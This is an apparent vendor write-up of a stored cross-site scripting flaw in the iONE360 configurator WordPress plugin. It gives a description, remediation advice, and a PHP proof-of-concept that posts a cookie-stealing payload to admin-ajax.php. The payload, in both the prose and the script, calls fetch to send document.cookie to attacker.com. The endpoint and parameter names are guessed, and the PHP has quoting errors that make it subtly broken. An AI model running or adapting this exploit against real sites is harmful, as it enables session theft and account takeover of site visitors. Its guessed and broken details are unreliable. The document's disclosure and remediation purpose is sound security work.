Atomic Edge analysis of CVE-2025-15440 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the iONE360 configurator WordPress plugin, affecting all versions up to and including 2.0.57. The issue resides in the plugin’s contact form parameters, where insufficient input sanitization and output escaping allows attackers to inject malicious scripts. The CVSS score of 7.2 (High) reflects its network attack vector, low attack complexity, and scope change impact on confidentiality and integrity.
Atomic Edge research identifies the root cause as CWE-79, improper neutralization of input during web page generation. The vulnerability description explicitly cites insufficient input sanitization and output escaping on contact form parameters. Without a code diff, this analysis infers the plugin likely echoes user-supplied data from these parameters directly into page output without adequate escaping functions like `esc_html()` or `esc_attr()`. The stored nature indicates the payload persists, likely in the WordPress database, and executes for subsequent page visitors.
Exploitation occurs via unauthenticated HTTP requests to the plugin’s contact form handler. Attackers can submit malicious JavaScript within contact form parameters. A probable attack vector is a POST request to `/wp-admin/admin-ajax.php` with an action parameter like `ione360_configurator_contact`. The payload would be placed in parameters such as `name`, `email`, or `message`. Example payloads include `
` or `fetch(‘https://attacker.com/?c=’+document.cookie)`. The script executes in the browser of any user viewing a page containing the injected data.
Remediation requires implementing proper input validation and output escaping. The plugin must sanitize all user input on receipt using functions like `sanitize_text_field()`. More critically, any output of this data must use context-appropriate escaping functions like `esc_html()` for HTML body content or `esc_attr()` for attribute values. WordPress nonces should also be added to the contact form submission to prevent CSRF, though this does not directly mitigate the XSS flaw. A patch would involve adding these security measures to the relevant form processing and display functions.
The impact of successful exploitation is significant. An attacker can steal session cookies, potentially hijacking administrator accounts. They can deface website content by injecting visible HTML. Attackers can also perform actions on behalf of authenticated users, leading to privilege escalation. The stored nature and unauthenticated access combine to create a widespread threat, as a single malicious submission can compromise all future visitors to the affected page.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15440 - iONE360 configurator <= 2.0.57 - Unauthenticated Stored Cross-Site Scripting via Contact Form Parameters
<?php
/**
* Proof of Concept for CVE-2025-15440.
* This script injects a stored XSS payload via the plugin's contact form.
* The exact AJAX action and parameter names are inferred from the plugin slug and vulnerability description.
* Assumptions:
* 1. The vulnerable endpoint is `/wp-admin/admin-ajax.php`.
* 2. The AJAX action parameter is derived from the plugin slug (e.g., 'ione360_configurator_contact').
* 3. The contact form accepts parameters like 'name', 'email', 'message'.
* 4. No authentication or nonce is required.
*/
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// Inferred AJAX action based on common WordPress plugin patterns.
$ajax_action = 'ione360_configurator_contact';
// A basic XSS payload to demonstrate cookie theft.
// In a real attack, this would point to an attacker-controlled server.
$xss_payload = '<img src=x onerror="fetch('https://attacker.com/collect?c='+encodeURIComponent(document.cookie))" />';
// POST data simulating a contact form submission.
$post_fields = [
'action' => $ajax_action,
'name' => 'Test' . $xss_payload, // Inject payload into a likely parameter.
'email' => 'test@example.com',
'message'=> 'This is a test message with an XSS payload: ' . $xss_payload
];
// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing environments only.
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output results.
echo "Atomic Edge PoC for CVE-2025-15440n";
echo "Target: $target_urln";
echo "HTTP Status: $http_coden";
echo "Response (first 500 chars): " . substr($response, 0, 500) . "n";
if ($http_code == 200) {
echo "Payload submitted. Check the site's contact form page for script execution.n";
} else {
echo "Submission may have failed. Verify the endpoint and action parameter.n";
}
?>
